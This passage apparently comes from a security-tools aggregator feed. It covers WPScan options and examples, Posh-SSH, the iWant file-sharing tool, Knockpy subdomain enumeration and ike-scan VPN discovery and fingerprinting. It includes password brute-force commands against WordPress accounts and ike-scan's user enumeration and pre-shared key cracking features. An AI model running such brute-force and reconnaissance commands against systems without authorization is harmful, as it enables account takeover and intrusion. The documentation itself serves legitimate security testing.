    --no-color Do not use colors in the output.
    --log [filename] Creates a log.txt file with WPScan's output if no filename is supplied. Otherwise the filename is used for logging.
    --no-banner Prevents the WPScan banner from being displayed.
    --disable-accept-header Prevents WPScan sending the Accept HTTP header.
    --disable-referer Prevents setting the Referer header.
    --disable-tls-checks Disables SSL/TLS certificate verification.
    --wp-content-dir <wp content dir> WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specify it.
    Subdirectories are allowed.
    --wp-plugins-dir <wp plugins dir> Same thing than --wp-content-dir but for the plugins directory.
    If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
    --proxy <[protocol://]host:port> Supply a proxy. HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported.
    If no protocol is given (format host:port), HTTP will be used.
    --proxy-auth <username:password> Supply the proxy login credentials.
    --basic-auth <username:password> Set the HTTP Basic authentication.
    --wordlist | -w <wordlist> Supply a wordlist for the password brute forcer.
    If the "-" option is supplied, the wordlist is expected via STDIN.
    --username | -U <username> Only brute force the supplied username.
    --usernames <path-to-file> Only brute force the usernames from the file.
    --cache-dir <cache-directory> Set the cache directory.
    --cache-ttl <cache-ttl> Typhoeus cache TTL.
    --request-timeout <request-timeout> Request Timeout.
    --connect-timeout <connect-timeout> Connect Timeout.
    --threads | -t <number of threads> The number of threads to use when multi-threading requests.
    --max-threads <max-threads> Maximum Threads.
    --throttle <milliseconds> Milliseconds to wait before doing another web request. If used, the --threads should be set to 1.
    --help | -h This help screen.
    --verbose | -v Verbose output.
    --version Output the current version and exit.

    WPSCAN EXAMPLES
    Do 'non-intrusive' checks...
    ruby wpscan.rb --url www.example.com

    Do wordlist password brute force on enumerated users using 50 threads...
    ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

    Do wordlist password brute force on enumerated users using STDIN as the wordlist...
    crunch 5 13 -f charset.lst mixalpha | ruby wpscan.rb --url www.example.com --wordlist -

    Do wordlist password brute force on the 'admin' username only...
    ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

    Enumerate installed plugins...
    ruby wpscan.rb --url www.example.com --enumerate p

    Run all enumeration tools...
    ruby wpscan.rb --url www.example.com --enumerate

    Use custom content directory...
    ruby wpscan.rb -u www.example.com --wp-content-dir custom-content

    Update WPScan's databases...
    ruby wpscan.rb --update

    Debug output...
    ruby wpscan.rb --url www.example.com --debug-output 2>debug.log


    Posh-SSH - PowerShell Module for automating tasks on remote systems using SSH

    $
    0
    0

    Windows Powershell module that leverages a custom version of the SSH.NET Library http://sshnet.codeplex.com/ to provide basic SSH functionality in Powershell. The main purpose of the module is to facilitate automating actions against one or multiple SSH enabled servers.
    This module is for WindowsPowerShell 3.0 or above. It is compiled for .NET Framework 4.5.

    Install
    To install the module including all source code you can just run in a PowerShell v3 the following command:
    Install-Module -Name Posh-SSH

    Support
    • Provides functionality for automating SSH, SFTP and SCP actions.
    • Supports diffie-hellman-group-exchange-sha256, diffie-hellman-group-exchange-sha1, diffie-hellman-group14-sha1 and diffie-hellman-group1-sha1 key exchange methods.
    • Supports 3des-cbc, aes128-cbc, aes192-cbc, aes256-cbc, aes128-ctr, aes192-ctr, aes256-ctr, blowfish-cbc, cast128-cbc, arcfour and twofish encryptions.
    • Supports hmac-md5, hmac-sha1, hmac-ripemd160, hmac-sha2-256, hmac-sha2-256-96, hmac-md5-96 and hmac-sha1-96 hashing algorithms.
    • Supports publickey, password and keyboard-interactive authentication methods.
    • Supports RSA and DSA private key.
    • Supports DES-EDE3-CBC, DES-EDE3-CFB, DES-CBC, AES-128-CBC, AES-192-CBC and AES-256-CBC algorithms for private key encryption.
    • Supports SOCKS4, SOCKS5 and HTTP Proxy.
    • Remote, dynamic and local port forwarding.

    iWant - CLI Based Decentralized Peer To Peer File Sharing

    $
    0
    0
    A commandline tool for searching and downloading files in LAN network, without any central server.

    Features
    • Decentralized : There is no central server hosting files. Therefore, no central point of failure
    • Easy discovery of files: As easy as searching for something in Google.
    • File download from multiple peers: If the seeder fails/leaves the group, leecher will continue to download from another seeder in the network
    • Directory download: Supports downloading directories
    • Resume download: Resume download from where you left off.
    • Consistent data: Any changes(modification, deletion, addition) made to files inside the shared folder will be instantly reflected in the network
    • Cross Platform: Works in Linux/Windows/Mac. More testing needs to be done in Mac

    Why I built this ?
    • I like the idea of typing some filename in the terminal and download it if people around me have it.
    • No third party registration.
    • No crazy configuration.
    • Wanted it to be cross platform.
    • Zero downtime.
    • No browser.. just terminal
    • For fun ¯\(ツ)

    Installation
    pip install iwant
    Or, if you download from source
    python setup.py install --user
    Works on Python2 only

    System Dependencies
    Make sure, you have the following system dependencies installed:
    • libffi-dev
    • libssl-dev

    Usage
    iWant.

    A commandline tool for searching and downloading files in LAN network, without any central server.


    Usage:
    iwanto start
    iwanto search <name>
    iwanto download <hash>
    iwanto share <path>
    iwanto download to <destination>
    iwanto view config
    iwanto --version

    Options:
    -h --help Show this screen.
    --version Show version.
    start This starts the iwant server in your system
    search <name> Discovering files in the network. Example: iwanto search batman
    download <hash> Downloads the file from the network
    share <path> Change your shared folder
    view config View shared and download folder
    download to <destination> Change download folder
    Note: Shared and Download folder cannot be the same

    How to run
    Run iwanto start (this runs the iwant service).

    Running client
    To run services like, search, download, view config and change config, open up another terminal and make sure that iwant server is running.

    Running server
    In windows, admin access is required to run the server
    iwanto start


    Search files
    Type the name of file ;) (P.S No need of accurate names)
    iwanto search <filename>
    Example:
    iwanto search "slicon valey"


    Download files
    To download the file , just enter the hash of the file you get after searching.
    iwanto download <hash of the file>
    Example:
    iwanto download b8f67e90097c7501cc0a9f1bb59e6443


    Change shared folder
    Change shared folder anytime (Even when iwant service is running)
    iwanto share <path>
    Example:
    iwanto share /home/User/Movies/
    In windows, give quotes:
    iwanto share "C:\Users\xyz\books\"


    Change downloads folder
    Change download folder anytime
    iwanto download to <path>
    Example:
    iwanto download to /home/User/Downloads
    In windows, give quotes:
    iwanto download to "C:\User\Downloads"

    View shared/donwload folder
    iwanto view config

    How does it work ?
    As soon as the program starts, it spawns the election daemon, folder monitoring daemon and server daemon.
    1. The election daemon takes care of the following activities
      • Manages the consensus.
      • Notifies the server daemon as soon as there is a leader change.
      • It coordinates with other peers in the network regarding contesting elections, leader unavailability, network failure, split brain situation etc.
      • It uses multicast for peer discovery. The consensus description is mentioned here
    2. When the folder monitoring daemon starts, it performs the following steps
      • Indexes all the files in the shared folder
      • Updates the entries in the database
      • Informs the server about the indexed files and folders.
      • Any changes made in the shared folder will trigger the folder monitoring daemon to index the modified files, update the database and then inform the server about the changes
    3. The iwant client talks to the server daemon when the user wishes to:
      • search for files
      • download files
      • change shared folder
      • change download folder
    4. The server daemon receives commands from iwant client and updates from file monitoring and election daemon.
      • Updates received from folder monitoring daemon is fowarded to the leader. For example: indexed files/folders information.
      • Updates received from the election daemon like leader change event, triggers the server to forward the indexed files/folders information to the new leader
      • Queries received from the iwant client like file search is forwarded to the leader, who then performs fuzzy search on the metadata it received from other peers and returns a list containing (filename, size, checksum)
      • Queries received from the iwant client like file download is forwarded to the leader, who forwards the roothash of the file/folder along with the list of peers who have the file. The server daemon then intiates download process with peers mentioned in the peers list.
      • Updates received from the iwant client like changing shared folder, triggers the server daemon to make sure that the folder monitoring daemon indexes the new folder and after indexing is complete, the server daemon updates the leader with the new indexed files/folders meta information.

    Todo
    • Incorporate tight security mechanisms
    • Add Python3 support
    • Add video preview
    • Add streaming functionality
    • Add basic NAT traversal
    • Create test modules
    • Improve UI for file/folder download progress bar

    Why it may not work?
    • Firewall
    • Multicast not supported in your router.


    Knockpy - Enumerate Subdomain Scanner

    $
    0
    0

    Knockpy is a python tool designed to enumerate subdomains on a target domain through a wordlist. It is designed to scan for DNS zone transfer and to try to bypass the wildcard DNS record automatically if it is enabled. Now knockpy supports queries to VirusTotal subdomains, you can setting the API_KEY within the config.json file.

    Very simply
    $ knockpy domain.com
    Export full report in JSON
    If you want to save full log like this one just type:
    $ knockpy domain.com --json

    Install
    Prerequisites
    • Python 2.7.6
    Dependencies
    • Dnspython
    $ sudo apt-get install python-dnspython
    Installing
    $ git clone https://github.com/guelfoweb/knock.git

    $ cd knock

    $ nano knockpy/config.json <- set your virustotal API_KEY

    $ sudo python setup.py install
    Note that it's recommended to use Google DNS: 8.8.8.8 and 8.8.4.4

    Knockpy arguments
    $ knockpy -h
    usage: knockpy [-h] [-v] [-w WORDLIST] [-r] [-c] [-j] domain

    ___________________________________________

    knock subdomain scan
    knockpy v.4.1
    Author: Gianni 'guelfoweb' Amato
    Github: https://github.com/guelfoweb/knock
    ___________________________________________

    positional arguments:
    domain target to scan, like domain.com

    optional arguments:
    -h, --help show this help message and exit
    -v, --version show program's version number and exit
    -w WORDLIST specific path to wordlist file
    -r, --resolve resolve ip or domain name
    -c, --csv save output in csv
    -j, --json export full report in JSON

    example:
    knockpy domain.com
    knockpy domain.com -w wordlist.txt
    knockpy -r domain.com or IP
    knockpy -c domain.com
    knockpy -j domain.com
    For virustotal subdomains support you can setting your API_KEY in the config.json file.


    Example
    Subdomain scan with internal wordlist
    $ knockpy domain.com
    Subdomain scan with external wordlist
    $ knockpy domain.com -w wordlist.txt
    Resolve domain name and get response headers
    $ knockpy -r domain.com [or IP]
    + checking for virustotal subdomains: YES
    [
    "partnerissuetracker.corp.google.com",
    "issuetracker.google.com",
    "r5---sn-ogueln7k.c.pack.google.com",
    "cse.google.com",

    .......too long.......

    "612.talkgadget.google.com",
    "765.talkgadget.google.com",
    "973.talkgadget.google.com"
    ]
    + checking for wildcard: NO
    + checking for zonetransfer: NO
    + resolving target: YES
    {
    "zonetransfer": {
    "enabled": false,
    "list": []
    },
    "target": "google.com",
    "hostname": "google.com",
    "virustotal": [
    "partnerissuetracker.corp.google.com",
    "issuetracker.google.com",
    "r5---sn-ogueln7k.c.pack.google.com",
    "cse.google.com",
    "mt0.google.com",
    "earth.google.com",
    "clients1.google.com",
    "pki.google.com",
    "www.sites.google.com",
    "appengine.google.com",
    "fcmatch.google.com",
    "dl.google.com",
    "translate.google.com",
    "feedproxy.google.com",
    "hangouts.google.com",
    "news.google.com",

    .......too long.......

    "100.talkgadget.google.com",
    "services.google.com",
    "301.talkgadget.google.com",
    "857.talkgadget.google.com",
    "600.talkgadget.google.com",
    "992.talkgadget.google.com",
    "93.talkgadget.google.com",
    "storage.cloud.google.com",
    "863.talkgadget.google.com",
    "maps.google.com",
    "661.talkgadget.google.com",
    "325.talkgadget.google.com",
    "sites.google.com",
    "feedburner.google.com",
    "support.google.com",
    "code.google.com",
    "562.talkgadget.google.com",
    "190.talkgadget.google.com",
    "58.talkgadget.google.com",
    "612.talkgadget.google.com",
    "765.talkgadget.google.com",
    "973.talkgadget.google.com"
    ],
    "alias": [],
    "wildcard": {
    "detected": {},
    "test_target": "eqskochdzapjbt.google.com",
    "enabled": false,
    "http_response": {}
    },
    "ipaddress": [
    "216.58.205.142"
    ],
    "response_time": "0.0351989269257",
    "http_response": {
    "status": {
    "reason": "Found",
    "code": 302
    },
    "http_headers": {
    "content-length": "256",
    "location": "http://www.google.it/?gfe_rd=cr&ei=60WIWdmnDILCXoKbgfgK",
    "cache-control": "private",
    "date": "Mon, 07 Aug 2017 10:50:19 GMT",
    "referrer-policy": "no-referrer",
    "content-type": "text/html; charset=UTF-8"
    }
    }
    }
    Save scan output in CSV
    $ knockpy -c domain.com
    Export full report in JSON
    $ knockpy -j domain.com



    ike-scan - Discover and fingerprint IKE hosts (IPsec VPN Servers)

    $
    0
    0

    Discover and fingerprint IKE hosts (IPsec VPN Servers).

    Building and Installing
    ike-scan uses the standard GNU autoconf and automake tools, so installation is the normal process:
    • Run git clone https://github.com/royhills/ike-scan.git to obtain the project source code
    • Run cd ike-scan to enter source directory
    • Run autoreconf --install to generate a viable ./configure file
    • Run ./configure or ./configure --with-openssl to use the OpenSSL libraries
    • Run make to build the project
    • Run make check to verify that everything works as expected
    • Run make install to install (you'll need root or sudo for this part)
    If you plan on performing pre-shared key cracking, then you should configure ike-scan to use the OpenSSL hash functions rather than its built-in functions because the OpenSSL ones are normally faster. To do this, make sure you have the OpenSSL include files and libraries installed, and run configure as ./configure --with-openssl. Whether you use OpenSSL or not won't affect the functionality of ike-scan, just the speed of pre-shared key cracking with psk-crack.
    Some operating systems install the OpenSSL headers and libraries by default; others require that you install an optional package, for example on Debian Linux you need to install the libssl-dev package. Alternatively, you can download and install the OpenSSL tarball from http://www.openssl.org/
    It should build on most modern Unix-like OSes. It works on Windows with Cygwin and can be used as a standalone Windows executable when cygwin1.dll is present.
    If you are using the Windows-32 binary package, please also read the file README-WIN32 which details the differences when running on the Windows platform.
    The program is known to build and run on Linux, FreeBSD, OpenBSD, NetBSD, Win32/Cygwin, Solaris, MacOS X, HP Tru64, HP-UX, and SCO OpenServer. For more details see the section "SUPPORTED PLATFORMS" below.

    Overview
    ike-scan discovers IKE hosts and can also fingerprint them using the retransmission backoff pattern.
    ike-scan can perform the following functions:
    • Discovery Determine which hosts in a given IP range are running IKE. This is done by displaying those hosts which respond to the IKE requests sent by ike-scan.
    • Fingerprinting Determine which IKE implementation the hosts are using, and in some cases determine the version of software that they are running. This is done in two ways: firstly by UDP backoff fingerprinting which involves recording the times of the IKE response packets from the target hosts and comparing the observed retransmission backoff pattern against known patterns; and secondly by Vendor ID fingerprinting which compares Vendor ID payloads from the VPN servers against known vendor id patterns.
    • Transform Enumeration Find which transform attributes are supported by the VPN server for IKE Phase-1 (e.g. encryption algorithm, hash algorithm etc.).
    • User Enumeration For some VPN systems, discover valid VPN usernames.
    • Pre-Shared Key Cracking Perform offline dictionary or brute-force password cracking for IKE Aggressive Mode with Pre-Shared Key authentication. This uses ike-scan to obtain the hash and other parameters, and psk-crack (which is part of the ike-scan package) to perform the cracking.
    The retransmission backoff fingerprinting concept is discussed in more detail in the UDP backoff fingerprinting paper which should be included in the ike-scan kit as UDP Backoff Fingerprinting Paper.
    The program sends IKE phase-1 (Main Mode or Aggressive Mode) requests to the specified hosts and displays any responses that are received. It handles retry and retransmission with backoff to cope with packet loss. It also limits the amount of bandwidth used by the outbound IKE packets.
    IKE is the Internet Key Exchange protocol which is the key exchange and authentication mechanism used by IPsec. Just about all modern VPN systems implement IPsec, and the vast majority of IPsec VPNs use IKE for key exchange. Main Mode is one of the modes defined for phase-1 of the IKE exchange (the other defined mode is aggressive mode). RFC 2409 section 5 specifies that main mode must be implemented, therefore all IKE implementations can be expected to support main mode. Many also support Aggressive Mode.

    Usage
    To see current usage information, run the ike-scan binary like so:
    ike-scan -h
    Additional documentation is provided on the NTA Monitor Wiki
    To report bugs or suggest new features, please create a GitHub issue.

    Implementation Details

    Host Input and Memory Requirements
    The hosts to scan can be specified on the command line or read from an input file using the --file=<fn> option. The program can cope with large numbers of hosts limited only by the amount of memory needed to store the list of host_entry structures. Each host_entry structure requires 45 bytes on a 32-bit system, so a class B network (65534 hosts) would require about 2.8 MB for the list. The hosts can be specified as either IP addresses or hostnames, however the program will store all hosts internally as IP addresses and will only display IP addresses in the output (ike-scan calls gethostbyname(3) to determine the IP address of each host, but this can be disabled with the --nodns option).

    Rate Limiting
    The program limits the rate at which it sends IKE packets to ensure that it does not overload the network connection. By default it uses an outbound data rate of 56000 bits per second. This can be changed with the --bandwidth option.
    If you want to send packets at a specific rate, you can use the --interval option.

    Cookie Generation and Remote Host Identification
    ike-scan generates unique IKE cookies for each host, and it uses these cookies to determine which host the response packets belong to. Note that it does not rely on the source IP address of the response packets because it is possible for a response packet to be sent from a different IP address than it was originally sent to. See the PROGRAM OUTPUT section for an example of this.
    The cookies are generated by taking the first 64 bits of an MD5 hash of the current time in seconds and microseconds as returned by gettimeofday(), the unique host number, and the host IP address. This ensures that the cookies are unique with a reasonable degree of certainty.
    If --verbose is in effect, any packets that are received with cookies that do not match will result in a message like:
    Ignoring 84 bytes from 172.16.2.2 with unknown cookie 195c837e5a39f657
    If --verbose is not in effect, such packets are silently ignored.
    This type of cookie mismatch may be caused by:
    • The host is still returning IKE responses to a previous ike-scan run;
    • The packet is not an IKE packet or has been corrupted somehow; or
    • An IKE packet which is nothing to do with ike-scan has been received.

    IKE Packet Details
    The main mode packets sent contain an ISAKMP header and an SA payload. The SA payload contains a single proposal, and the proposal can contain a variable number of transforms as detailed below.
    By default, the SA proposal contains 8 transforms. These 8 transforms represent all possible combinations of:
    • Encryption Algorithm: DES-CBC and 3DES-CBC;
    • Hash Algorithm: MD5 and SHA-1; and
    • DH Group: 1 (MODP 768) and 2 (MODP 1024).
    An example tcpdump output of the main mode packet sent by ike-scan using the default transform set is shown below. This shows the 8 transforms and also shows the order in which they are sent:
    16:57:16.024536 192.168.124.8.500 > 172.16.2.2.500:  [udp sum ok]isakmp 1.0 msgid 00000000: phase 1 I ident:
    (sa: doi=ipsec situation=identity
    (p: #1 protoid=isakmp transform=8
    (t: #1 id=ike (type=enc value=3des)(type=hash value=sha1)(type=auth value=preshared)(type=group desc value=modp1024)(type=lifetype value=sec)(type=lifeduration len=4 value=00007080))
    (t: #2 id=ike (type=enc value=3des)(type=hash value=md5)(type=auth value=preshared)(type=group desc value=modp1024)(type=lifetype value=sec)(type=lifeduration len=4 value=00007080))
    (t: #3 id=ike (type=enc value=1des)(type=hash value=sha1)(type=auth value=preshared)(type=group desc value=modp1024)(type=lifetype value=sec)(type=lifeduration len=4 value=00007080))
    (t: #4 id=ike (type=enc value=1des)(type=hash value=md5)(type=auth value=preshared)(type=group desc value=modp1024)(type=lifetype value=sec)(type=lifeduration len=4 value=00007080))
    (t: #5 id=ike (type=enc value=3des)(type=hash value=sha1)(type=auth value=preshared)(type=group desc value=modp768)(type=lifetype value=sec)(type=lifeduration len=4 value=00007080))
    (t: #6 id=ike (type=enc value=3des)(type=hash value=md5)(type=auth value=preshared)(type=group desc value=modp768)(type=lifetype value=sec)(type=lifeduration len=4 value=00007080))
    (t: #7 id=ike (type=enc value=1des)(type=hash value=sha1)(type=auth value=preshared)(type=group desc value=modp768)(type=lifetype value=sec)(type=lifeduration len=4 value=00007080))
    (t: #8 id=ike (type=enc value=1des)(type=hash value=md5)(type=auth value=preshared)(type=group desc value=modp768)(type=lifetype value=sec)(type=lifeduration len=4 value=00007080)))) (DF) (ttl 64, id 0, len 364)```
    This default transform set is designed to be acceptable to most IKE implementations - most will accept at least one of the offered transforms. However, it is sometimes necessary to use a different authentication method (pre-shared key is the most common, but is not always supported), and occasionally it is necessary to specify a different cipher such as 256-bit AES. More rarely it may be necessary to change the lifetime. Finally, some implementations require a specific "Vendor ID" string to be sent by the client before they will respond. This can be specified with the --vendor option.
    The default transform set results in a packet data length of 336 bytes which when IP and UDP headers are added gives a total packet size of 364 bytes.
    It is possible to specify the Authentication Method with --auth (default is 1 - pre-shared key) and the IKE lifetime in seconds with --lifetime (default is 28800 seconds or 8 hours as recommended by RFC 2407). If you specify --lifetime as 0, then no lifetime attribute is included in the transform payloads. If you are specifying custom transforms, you can you can use this option more than once to produce transform payloads with different lifetimes. Each --trans option will use the previously specified lifetime value.
    It is possible to specify a custom transform set with --trans=e[/l],h,a,g where "e" is the Encryption Algorithm, "l" is the key length for variable length ciphers, "h" is the Hash Algorithm, "a" is the Authentication Method and g is the DH Group. These are specified as numeric values; see RFC 2409 Appendix A for details of which values to use.
    For example: --trans=5,2,1,2 specifies: Enc=5 (3DES-CBC), Hash=2 (SHA1), Auth=1 (shared key), DH Group=2 (modp 1024)
    and --trans=7/256,1,1,5 specifies: Enc=7 (AES), Keylen=256 bits, Hash=MD5, Auth=shared key, DH Group=5 (modp 1536)
    You can use the --trans option more than once to send an arbitrary number of custom transforms in the proposal.
    Specifying a custom transform set overrides any authentication method specified with --auth. However, it still uses the lifetime value specified in the last --lifetime option.
    An example of a complex custom transform set is:
    --trans=5,2,1,2 --lifetime=0 --trans=7/256,1,3,5 --lifetime=600 --trans=7/128,1,3,5
    This would specify the following three transforms:
    • 3DES Encryption with SHA1 hash, shared key authentication, DH group 2, and the default lifetime;
    • 256-bit AES Encryption with MD5 hash, RSA authentication, DH group 5, and no lifetime; and
    • 128-bit AES Encryption with MD5 hash, RSA authentication, DH group 5, and lifetime of 600 second.
    If a custom transform set is specified, the packet length will differ from the default. Fewer than 8 transforms will make it smaller, and more than 8 transforms will make it larger. If the packet size exceeds the MTU, then it will be fragmented. You may need to increase the --interval setting for large packets to avoid overloading your network connection. Some VPN servers may ignore very long packets.
    A custom transform can be useful in the following situations:
    • If none of the transforms in the default transform set is acceptable to the remote IKE implementation;
    • If you know that a particular transform will be acceptable, and you want to minimise bandwidth use or allow faster scanning rates; or
    • If you want to determine exactly which transforms a remote IKE implementation supports for fingerprinting.
    The default mode used is Main Mode. However, it is possible to specify Aggressive Mode with the --aggressive option. When this is done, three additional payloads will be included: Key Exchange, Nonce and ID. This will increase the packet size, and you may need to increase --interval to ensure that ike-scan doesn't try to use too much bandwidth as a result. If you use Aggressive Mode, you can also use the following options:
    • --id Set identification value.
    • --idtype Set identification type (Default 3 (ID_USER_FQDN)).
    • --dhgroup Specify Diffie-Hellman group (Default 2 - MODP 1024).
    If you use Aggressive Mode, then you can only use one Diffie Hellman group in the transform set. If you specify custom transforms with the --trans option, you should ensure that they all use the same group, and that this group matches the DH group specified with the --dhgroup option, or the default of 2 if --dhgroup is not specified.
    IKE hosts may respond in one of two ways:
    • With an IKE main or aggressive mode response packet containing the cookie that was originally sent to the host. This is a "handshake" response and indicates that the host supports IKE and finds our proposal acceptable; or
    • With an IKE notify message containing the cookie that was originally sent to the host. This is a "notify" response and indicates that the host is running IKE, but does not accept our proposal.
    An example tcpdump output for a "handshake" response is:
    16:57:48.068698 172.16.2.2.500 > 192.168.124.8.500:  [udp sum ok]isakmp 1.0 msgid 00000000: phase 1 R ident:
    (sa: doi=ipsec situation=identity
    (p: #1 protoid=isakmp transform=1
    (t: #1 id=ike (type=enc value=3des)(type=hash value=sha1)(type=auth value=preshared)(type=group desc value=modp1024)(type=lifetype value=sec)(type=lifeduration len=4 value=00007080)))) (ttl 126, id 37891, len 112)
    This shows that the IKE host has responded with an ISAKMP header and an SA payload containing a single proposal. This proposal contains a single transform representing the transform chosen from the proposal sent by ike-scan.
    An example tcpdump output for a "notify" response is:
    17:12:55.038554 192.168.89.22.500 > 192.168.37.1.500:  [udp sum ok]isakmp 1.0 msgid 00000000: phase 1 R inf:
    (n: doi=0 proto=1 type=NO-PROPOSAL-CHOSEN) (ttl 52, id 39577, len 68)
    This shows that the IKE host has responded with an ISAKMP header and a notify payload. The notify payload is an informational message with the type "NO-PROPOSAL-CHOSEN".
    ike-scan does not respond to any of the IKE responses it receives, so the IKE main mode handshake will never complete. Some IKE implementations do not log handshakes that don't complete; these implementations will not log the scanning and therefore the owners of these systems will not be aware of the scanning. It is possible to use ike-scan to determine if a given implementation will log these scanning attempts if you have access to the system logs.

    Backoff Fingerprinting
    For those hosts that respond, ike-scan records the times of the received IKE responses. The backoff between IKE responses varies between different IKE implementations and can therefore be used as a fingerprint. The --showbackoff option is used to display the backoff times for each host which responded. Note that using the --showbackoff option will cause ike-scan to wait for 60 seconds after the last received packet to ensure that it has seen all of the responses. This 60 second wait can be altered by specifying a different value in seconds to the --showbackoff option.
    When all of the packets have been received, the backoff table is displayed, and the program attempts to match the backoff pattern against the known backoff patterns contained in the text file ike-backoff-patterns. It is possible to add new patterns to this file.
    Note that only hosts which respond with a handshake can be fingerprinted by backoff timings; hosts which respond with a notify message cannot. This is because notify messages are only ever sent once and are not subject to retransmission with backoff.
    If you discover IKE hosts with backoff patterns which are not recognised by ike-scan, then you are encouraged to submit the pattern and details of the IKE implementation to me so I can incorporate it into future versions of ike-scan. You can do this by opening an issue, or a pull request on github.
    Note that any packet loss will prevent the backoff fingerprinting from working because the program needs to see all of the responses.
    ike-scan can also be used to fingerprint IKE hosts in other ways. For example:
    • Some systems (such as Checkpoint Firewall-1) allow the use of any source port (e.g. --sport=0) whereas others (e.g. Windows 2000) only respond to IKE requests from source port 500 (actually, Windows 2000 responds to requests from any port, but always sends the responses back to port 500 which amounts to the same thing).
    • Some systems use proprietary notify message codes which allows them to be identified. For example, Checkpoint Firewall-1 4.0, 4.1 and NG Base use notify message code 9101. ike-scan recognises this and will identify the system as "Checkpoint Firewall-1 4.x or NG Base".
    • Different systems support different transforms, and this support can be determined by trying all possible combinations with --trans. Note however, that the user can usually change the transform set, so this cannot be relied upon by itself.
    • Different implementations require different IKE Lifetimes. Some implementations will accept any lifetime, whereas others will only accept lifetimes below a certain value.
    • By using another tool (e.g. tcpdump) to sniff the returned IKE packets, the IP ID and IP TTL can be determined. These can be useful in fingerprinting the IP stack which can help to determine the IKE implementation.
    • The IKE host may send Vendor ID payloads which uniquely identify the implementation. This Vendor ID fingerprinting method was first proposed by Brett Eldridge beldridg@pobox.com. ike-scan will display any vendor ID payloads that it receives, and will attempt to match these against known Vendor ID patterns.

    Program Output
    The program output consists of two sections:
    • The IKE host detection section; and
    • The IKE backoff pattern section (if --showbackoff is specified).
    The IKE host detection section contains one line for each host that responds. The response can either be a successful handshake or an informational message. Only the first packet returned by any given host is displayed in this section.
    Some examples of the IKE host detection section are:
    10.0.1.98        IKE Handshake returned (1 transforms)
    10.0.1.22 Notify message 14 (NO-PROPOSAL-CHOSEN)
    10.0.1.189 (10.0.1.130) Notify message 9101 (No common authentication method with Firewall.)
    In the above example output, host 10.0.1.98 has returned an IKE handshake, 10.0.1.22 has returned notify message 14 (decimal) which corresponds to the RFC-defined error message "NO-PROPOSAL-CHOSEN" (see RFC 2408 section 3.14.1), and 10.0.1.189 has returned a non-standard notify message 9101 but the response has come from the IP address 10.0.1.130 rather than the address which the request was sent to (presumably this is a multi-homed system). Notify message 9101 is not defined by RFC 2408, but it is known to be a Checkpoint proprietary notify code (therefore the system is probably Firewall-1) and the program displays the text included in the notify message.
    Some examples of the IKE backoff pattern section are:
    IP Address      No.     Recv time               Delta Time
    172.16.2.2 1 1042549209.247980 0.000000
    172.16.2.2 2 1042549211.239254 1.991274
    172.16.2.2 3 1042549213.241935 2.002681
    172.16.2.2 4 1042549215.244731 2.002796
    172.16.2.2 5 1042549217.247512 2.002781
    172.16.2.2 6 1042549219.250254 2.002742
    172.16.2.2 7 1042549221.253044 2.002790
    172.16.2.2 8 1042549225.258551 4.005507
    172.16.2.2 9 1042549229.264074 4.005523
    172.16.2.2 10 1042549233.269605 4.005531
    172.16.2.2 11 1042549237.275145 4.005540
    172.16.2.2 12 1042549241.280654 4.005509
    172.16.2.2 Implementation guess: Firewall-1 4.1/NG

    IP Address No. Recv time Delta Time
    10.0.1.98 1 1042549209.426540 0.000000
    10.0.1.98 2 1042549224.425435 14.998895
    10.0.1.98 3 1042549239.422251 14.996816
    10.0.1.98 Implementation guess: Cisco IOS / PIX
    Here, host 172.16.2.2 returned a total of 12 packets and the pattern matched "Firewall-1 4.1/NG", and host 10.0.1.98 returned 3 packets matching the pattern for "Cisco IOS / PIX". The recv time column shows the absolute time when the packet was received in seconds and microseconds since the epoch; delta time shows the elapsed time between packets in seconds and microseconds.

    Examples
    The below example will run IKE detection against the single host 172.16.2.2. No backoff fingerprinting will be done, and all options (timeouts, retrys, transform set Etc) will be the default.
    • ike-scan 172.16.2.2
    This will read the target hosts from the file "hostlist.txt".
    • ike-scan --file=hostlist.txt
    This reads the hosts from stdin and performs both IKE detection and backoff fingerprinting. The backoff wait is specified as 20 seconds.
    • cat hostlist.txt | ike-scan --file=- --showbackoff=20
    This will run ike-scan against all hosts in the network specified by 172.16.0.0/16 (including network and broadcast addresses). In this case, this will result in a total of 65536 hosts being scanned - from 172.16.0.0 to 172.16.255.255 inclusive.
    • ike-scan 172.16.0.0/16
    This uses the range notation to scan a total of 65536 hosts from 172.16.0.0 to 172.16.255.255 inclusive.
    • ike-scan 172.16.0.0-172.16.255.255

    Supported Platforms
    ike-scan has been built and tested on the following platforms:
    • Debian Linux 1.3.1 on IA32 with gcc 2.7.2.1, libc5 and 2.0.29 Kernel
    • Debian Linux 2.2r7 (Potato) on IA32 with gcc 2.95.2 and 2.2.17 Kernel
    • Debian Linux 3.0r1 (Woody) on IA32 with gcc 2.95.4 and 2.4.18 Kernel
    • Debian Linux 3.1 (Sarge) on IA32 with gcc 3.3.4 and 2.4.27 Kernel
    • Debian Linux 3.0 (Woody) on PA-RISC with gcc 3.0.4 and 2.4.17-64 Kernel
    • Debian Linux 3.0 (Woody) on Alpha with gcc 3.3.1 and 2.4.18-smp Kernel
    • Redhat Advanced Server 3.2 on IA64 with gcc 3.2.3 and 2.4.21-19.EL Kernel
    • HP-UX 11.11 on PA-RISC with gcc 3.4.1
    • HP-UX 11.11 on PA-RISC with HP cc HP92453-01 B.11.11.32003.GP
    • FreeBSD 4.3 on IA32 with gcc 2.95.3
    • OpenBSD 3.1 on IA32 with gcc 2.95.3
    • NetBSD 1.6 on IA32 with gcc 2.95.3
    • SCO OpenServer 5.0.7 on IA32 with gcc 2.95.3
    • Windows NT 4.0 / Cygwin 1.5.12 on IA32 with gcc 3.3.3
    • Solaris 2.8 on SPARC with gcc 2.95.3
    • HP Tru64 Unix v5.1 on Alpha with Tru64 cc
    • MacOS X (Darwin 7.7.0) on PowerPC
    I've also had reports that it builds OK on the following systems:
    • RedHat Linux 7.1 with 2.4 Kernel
    • RedHat Linux 8.0 with 2.4 Kernel
    • Debian Linux 3.1 on Alpha
    • Debian Linux 3.1 on ARM
    • Debian Linux 3.1 on HP PA-RISC
    • Debian Linux 3.1 on Intel IA64
    • Debian Linux 3.1 on Motorola 68000
    • Debian Linux 3.1 on MIPS
    • Debian Linux 3.1 on PowerPC
    • Debian Linux 3.1 on IBM S390
    • Debian Linux 3.1 on SPARC
